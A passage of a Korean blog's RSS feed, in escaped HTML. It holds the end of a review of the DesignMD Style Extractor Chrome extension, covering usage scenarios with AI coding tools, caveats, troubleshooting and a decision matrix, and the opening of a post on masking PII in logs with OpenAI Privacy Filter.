data-origin-height=&quot;1122&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;1인 개발자가 SaaS 랜딩 페이지를 만든다고 하자. 디자이너가 없고 피그마도 안 쓴다. 본인이 좋아하는 레퍼런스 사이트에서 확장을 누르고 &lt;code&gt;DESIGN.md&lt;/code&gt;를 다운받는다. 그 파일을 프로젝트 루트에 두고 Claude Code에 &quot;이 디자인 시스템을 따라 헤더와 가격표 섹션을 만들어줘&quot;라고 지시한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이때 추출 결과의 siteProfile이 &lt;code&gt;productSurface: marketing, audience: business, confidence: medium&lt;/code&gt;으로 나오면, 마크다운의 Mission 섹션은 자동으로 &quot;marketing surface&quot; 기준의 가이드를 생성한다. 색상 팔레트가 5개 이상이면 시각 스타일도 &quot;clean, functional, implementation-oriented&quot;로 라벨링되어 들어간다.&lt;/p&gt;
&lt;pre class=&quot;reasonml&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; margin: 15px 0;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;DESIGN.md를 참고해서 헤더, 히어로 섹션, 가격표를 만들어줘. 색상과 폰트는 이 파일 기준으로 맞춰줘.&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2092&quot; data-origin-height=&quot;1152&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cvSiwN/dJMcacwewlM/8N6jSLBe3MmlsrUqygWK80/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cvSiwN/dJMcacwewlM/8N6jSLBe3MmlsrUqygWK80/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cvSiwN/dJMcacwewlM/8N6jSLBe3MmlsrUqygWK80/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcvSiwN%2FdJMcacwewlM%2F8N6jSLBe3MmlsrUqygWK80%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2092&quot; height=&quot;1152&quot; data-origin-width=&quot;2092&quot; data-origin-height=&quot;1152&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;시나리오 B: 바이브 코딩 중 디자인 일관성 유지&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이미 만든 사이트의 톤을 새 화면이 깨지 않게 하고 싶을 때, 본인 사이트에서 확장을 한 번 돌려 &lt;code&gt;DESIGN.md&lt;/code&gt;를 갱신한다. 이를 Cursor의 컨텍스트에 넣어 두면, 새 화면을 만들 때 기존 토큰을 다시 쓰는 빈도가 올라간다. 이는 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://designmd.app/en/what-is-design-md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;DESIGN.md 포맷이 명시적으로 의도하는&lt;/a&gt; &quot;에이전트가 프로젝트 루트에서 직접 읽는다&quot; 시나리오와 일치한다.&lt;/p&gt;
&lt;pre class=&quot;css&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; margin: 15px 0;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;DESIGN.md의 color.text.primary와 spacing 토큰을 기준으로 새 대시보드 카드 컴포넌트 만들어줘.&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;시나리오 C: SKILL.md로 에이전트 큐 만들기&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;DESIGN.md 모드 대신 SKILL.md 모드로 출력하면 frontmatter의 &lt;code&gt;name&lt;/code&gt;, &lt;code&gt;description&lt;/code&gt;이 스킬 등록용 메타데이터로 쓰일 수 있다. Claude 같은 도구의 스킬 시스템에 맞게 배치해두면, 같은 디자인 명세를 &lt;b&gt;여러 프로젝트에서 재사용 가능한 스킬&lt;/b&gt;로 관리하기 쉬워진다.&lt;/p&gt;
&lt;pre class=&quot;reasonml&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; margin: 15px 0;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;SKILL.md에 정의된 디자인 시스템을 기반으로 신규 프로젝트의 버튼, 카드, 네비게이션 컴포넌트를 생성해줘.&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;&lt;!-- 섹션 5 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. 이것만 알고 쓰자 (주의사항)&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2092&quot; data-origin-height=&quot;1142&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/xRAVU/dJMcafGt54W/ZTB6KEKaepn5bxwyp9Kv9k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/xRAVU/dJMcafGt54W/ZTB6KEKaepn5bxwyp9Kv9k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/xRAVU/dJMcafGt54W/ZTB6KEKaepn5bxwyp9Kv9k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FxRAVU%2FdJMcafGt54W%2FZTB6KEKaepn5bxwyp9Kv9k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2092&quot; height=&quot;1142&quot; data-origin-width=&quot;2092&quot; data-origin-height=&quot;1142&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 6px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;CSS 변수 원본은 못 가져온다&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;이 확장은 브라우저가 최종적으로 계산한 값(hex 색상, px 단위)만 읽는다. 원본 디자인 시스템이 &lt;code&gt;--color-primary: #3b82f6&lt;/code&gt;처럼 변수로 정의되어 있어도, 추출 결과에는 그냥 &lt;code&gt;color.text.primary: #3b82f6&lt;/code&gt;으로 나온다. 시각적 외형을 따라가기엔 충분하지만, 원본 토큰 구조 그대로를 복원하지는 못한다.&lt;/p&gt;
&lt;/div&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2090&quot; data-origin-height=&quot;1160&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/uMCUs/dJMcabRATJG/IKZmRwuWmGsOgf3W39c0Fk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/uMCUs/dJMcabRATJG/IKZmRwuWmGsOgf3W39c0Fk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/uMCUs/dJMcabRATJG/IKZmRwuWmGsOgf3W39c0Fk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FuMCUs%2FdJMcabRATJG%2FIKZmRwuWmGsOgf3W39c0Fk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2090&quot; height=&quot;1160&quot; data-origin-width=&quot;2090&quot; data-origin-height=&quot;1160&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #f0a500; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 6px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;늦게 그려지는 요소는 직접 띄우고 Refresh&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;SPA 라우터로 늦게 그려지거나, 모달처럼 처음엔 숨겨진 요소는 추출 시점에 잡히지 않는다. 원하는 화면 상태를 먼저 만들어 두고 팝업의 &lt;b&gt;Refresh&lt;/b&gt;를 다시 누르면 된다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 6px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;결과물은 출발점이지 정답이 아니다&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;공식 문서 어디에도 &quot;정확도 N%&quot;라는 수치는 없다. 나도 직접 확인하지 못했다. 추출 결과를 바로 운영에 투입하기보다는, 한 번 훑어보고 필요한 부분을 손봐서 쓰는 게 안전하다.&lt;/p&gt;
&lt;/div&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;&lt;!-- 섹션 6: Q&amp;A --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. 트러블슈팅 Q&amp;amp;A&lt;/b&gt;&lt;/h2&gt;
&lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 25px; margin: 15px 0;&quot;&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 0 0 12px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Q1. 추출 결과가 거의 비어 있다&lt;/h3&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;isVisible()&lt;/code&gt; 검증이 모든 요소를 걸러냈을 가능성이 높다. SPA에서 첫 화면이 비어 있는 상태로 추출됐거나, &lt;code&gt;display:none&lt;/code&gt; 요소가 많은 페이지가 그렇다. 화면을 충분히 그린 뒤 팝업의 &lt;b&gt;Refresh&lt;/b&gt;를 다시 누르고, 모달이 들어간 디자인이라면 모달을 띄운 채로 다시 추출한다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 25px; margin: 15px 0;&quot;&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 0 0 12px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Q2. 폰트가 시스템 기본 폰트로 잘못 잡힌다&lt;/h3&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;사용자 컴퓨터에 해당 웹폰트가 설치돼 있지 않으면 시스템 폴백 폰트가 computed style에 잡힌다. v0.3.0에서 폰트 패밀리 추출 로직이 보강되었지만, 근본 한계는 computed 기반이라는 점이다. &lt;code&gt;mainFontStyle.familyStack&lt;/code&gt;을 확인하면 폴백 체인 전체가 들어가 있는지 점검할 수 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 25px; margin: 15px 0;&quot;&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 0 0 12px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Q3. 특정 사이트에서 확장이 동작하지 않는다&lt;/h3&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;service-worker가 &lt;code&gt;chrome://&lt;/code&gt; URL에서의 추출을 차단한다. 확장 페이지, 크롬 설정 페이지, 일부 내부 페이지에서는 의도적으로 동작하지 않는다. 또 &lt;code&gt;activeTab&lt;/code&gt; 권한 모델 때문에 백그라운드 탭에서는 동작하지 않으니, 추출하려는 탭을 활성 상태로 두고 아이콘을 눌러야 한다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 25px; margin: 15px 0;&quot;&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 0 0 12px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Q4. siteProfile의 confidence가 항상 low로 나온다&lt;/h3&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;score &amp;gt;= 5 AND gap &amp;gt;= 1.4&lt;/code&gt;라는 high 임계값이 까다롭기 때문이다. 1&amp;middot;2위 점수 격차가 좁은 페이지(예: 마케팅과 SaaS가 섞인 메인 페이지)에서는 medium 이하가 자연스럽다. confidence가 low여도 &lt;code&gt;productSurface&lt;/code&gt;/&lt;code&gt;audience&lt;/code&gt; 1위 라벨은 계속 채워지므로, 그 라벨을 참고하되 너무 단정적으로 해석하지 않는 정도로 사용하면 된다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 25px; margin: 15px 0;&quot;&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 0 0 12px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Q5. Manifest V3 배경 워커 종료 후 동작이 끊긴다&lt;/h3&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;MV3 service-worker는 idle 상태에서 종료된다. 다행히 이 확장의 통신은 사용자 클릭 &amp;rarr; &lt;code&gt;RUN_EXTRACTION&lt;/code&gt; 메시지 단발성이라 종료가 큰 문제가 되지 않는다. 다만 팝업을 닫지 말고 결과 다운로드까지 마치는 편이 안전하다.&lt;/p&gt;
&lt;/div&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;&lt;!-- 섹션 10: 결론 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7. 결론: 언제 쓰고, 언제 쓰지 않는가&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2078&quot; data-origin-height=&quot;1122&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bvKOCJ/dJMcacwewq9/eWyVCn9foDwQDcGv2BI91k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bvKOCJ/dJMcacwewq9/eWyVCn9foDwQDcGv2BI91k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bvKOCJ/dJMcacwewq9/eWyVCn9foDwQDcGv2BI91k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbvKOCJ%2FdJMcacwewq9%2FeWyVCn9foDwQDcGv2BI91k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2078&quot; height=&quot;1122&quot; data-origin-width=&quot;2078&quot; data-origin-height=&quot;1122&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;DesignMD Style Extractor는 v0.1.0(2026-04-15)부터 v0.4.0(2026-04-17)까지 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/bergside/design-md-chrome/releases&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;사흘에 걸쳐 네 번 릴리스&lt;/a&gt;된 프로젝트다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;v0.2.0에서는 보안 면에서 &lt;code&gt;tabs&lt;/code&gt; 권한이 제거됐고, v0.3.0에서는 Quick Install 버튼과 폰트 추출이 보강됐으며, v0.4.0에서는 에셋 폴더 재구성과 manifest 정보 업데이트가 이루어졌다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;짧은 출시 사이클과 작은 배포 크기가 보여주는 것은 범위가 비교적 좁다는 점이다. 여러 문제를 한꺼번에 풀기보다, 기존 페이지의 스타일을 추출해 &lt;code&gt;DESIGN.md&lt;/code&gt;/&lt;code&gt;SKILL.md&lt;/code&gt;로 만드는 한 가지 흐름에 집중한 47.06 KiB짜리 단일 목적 확장에 가깝다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;도입 결정 매트릭스&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;상황&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;권장 여부&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;이유&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;디자이너 없는 1인 개발자가 레퍼런스 톤을 따라가고 싶다&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;적합&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;클릭 1회로 시작점 확보&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Claude Code/Cursor/Stitch로 바이브 코딩 중이다&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;적합&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;manifest가 명시적으로 이들과의 연동을 가정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;정확한 디자인 토큰 원본을 그대로 가져와야 한다&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;비적합&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;computed 값만 수집, CSS 변수 원본은 손실&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;동적 렌더링이 많은 SPA에서 한 번에 모든 화면을 추출&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;비적합&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;로드 시점 가시 요소만 표본&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;결과물을 그대로 운영에 바로 투입한다&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;비적합&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;정확도 보장 없음, 검수 단계 필요&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;DesignMD가 정확히 노린 자리는 &quot;AI에게 넘길 디자인 명세를 누가 만드는가&quot;라는 upstream 공백이다. 디자이너가 있고 토큰 시스템이 정착된 팀에는 보조 도구지만, 그렇지 않은 1인 개발자&amp;middot;바이브 코더에게는 빠진 단계 하나를 메우는 47.06 KiB짜리 다리다.&lt;/p&gt;
&lt;/div&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;&lt;!-- 참고자료 / 푸터 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;참고자료&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/bergside/design-md-chrome&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub: bergside/design-md-chrome&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://chromewebstore.google.com/detail/designmd-style-extractor/ogpdnchdjiibhobphelbbkemnnemkfma&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Chrome Web Store: DESIGN.md Style Extractor - TypeUI&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://designmd.app/en/what-is-design-md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;DESIGN.md 공식 포맷 문서&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://www.typeui.sh&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;TypeUI 공식 사이트&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://www.creative-tim.com/blog/ai-agent/typeui-the-design-layer-for-ai-coding-agents/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Creative Tim: TypeUI &amp;mdash; The Design Layer for AI Coding Agents&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://www.threads.com/@unclejobs.ai/post/DXLGC2hiZu4&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;@unclejobs.ai Threads 포스트 (2026-04-15)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/bergside/design-md-chrome/releases&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub Releases: bergside/design-md-chrome&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;</description>
      <category>AI/Design</category>
      <category>Chrome 확장</category>
      <category>claude code</category>
      <category>cursor</category>
      <category>DESIGN.md</category>
      <category>DesignMD</category>
      <category>google stitch</category>
      <category>Style Extractor</category>
      <category>디자인 시스템 자동화</category>
      <category>디자인 토큰</category>
      <category>바이브 코딩</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/593</guid>
      <comments>https://goddaehee.tistory.com/593#entry593comment</comments>
      <pubDate>Mon, 4 May 2026 02:25:52 +0900</pubDate>
    </item>
    <item>
      <title>OpenAI Privacy Filter 사용방법 : 내 서버 로그를 ChatGPT에 분석 맡기기 전에 &amp;mdash; OpenAI Privacy Filter로 1초 마스킹</title>
      <link>https://goddaehee.tistory.com/592</link>
      <description>&lt;!-- 래퍼 1: 인트로 --&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size8&quot;&gt;안녕하세요! 갓대희 입니다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2674&quot; data-origin-height=&quot;1500&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/btmxws/dJMb990Avwa/aefvDKdk3iD7RKFbsgIb41/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/btmxws/dJMb990Avwa/aefvDKdk3iD7RKFbsgIb41/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/btmxws/dJMb990Avwa/aefvDKdk3iD7RKFbsgIb41/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbtmxws%2FdJMb990Avwa%2FaefvDKdk3iD7RKFbsgIb41%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2674&quot; height=&quot;1500&quot; data-origin-width=&quot;2674&quot; data-origin-height=&quot;1500&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;예를 들어 로그 파일을 그대로 LLM이나 외부 분석 도구에 넘기면 사용자 이메일, 임시 비밀번호, API 키가 같이 흘러갈 수 있다. 보내기 전에 한 번 닦아 내고 싶은데, 정규식만으로는 &quot;갓대희는 1990-01-02에 태어났다&quot; 같은 자연어 속 PII를 안정적으로 잡기 어렵다. 그렇다고 클라우드 PII 서비스에 원문을 보내면, 그 자체가 또 다른 유출 경로가 된다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1994&quot; data-origin-height=&quot;1086&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ciUkSB/dJMcagrPMd5/eD6VtsNYHVg21hJr7n8Kuk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ciUkSB/dJMcagrPMd5/eD6VtsNYHVg21hJr7n8Kuk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ciUkSB/dJMcagrPMd5/eD6VtsNYHVg21hJr7n8Kuk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FciUkSB%2FdJMcagrPMd5%2FeD6VtsNYHVg21hJr7n8Kuk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1994&quot; height=&quot;1086&quot; data-origin-width=&quot;1994&quot; data-origin-height=&quot;1086&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
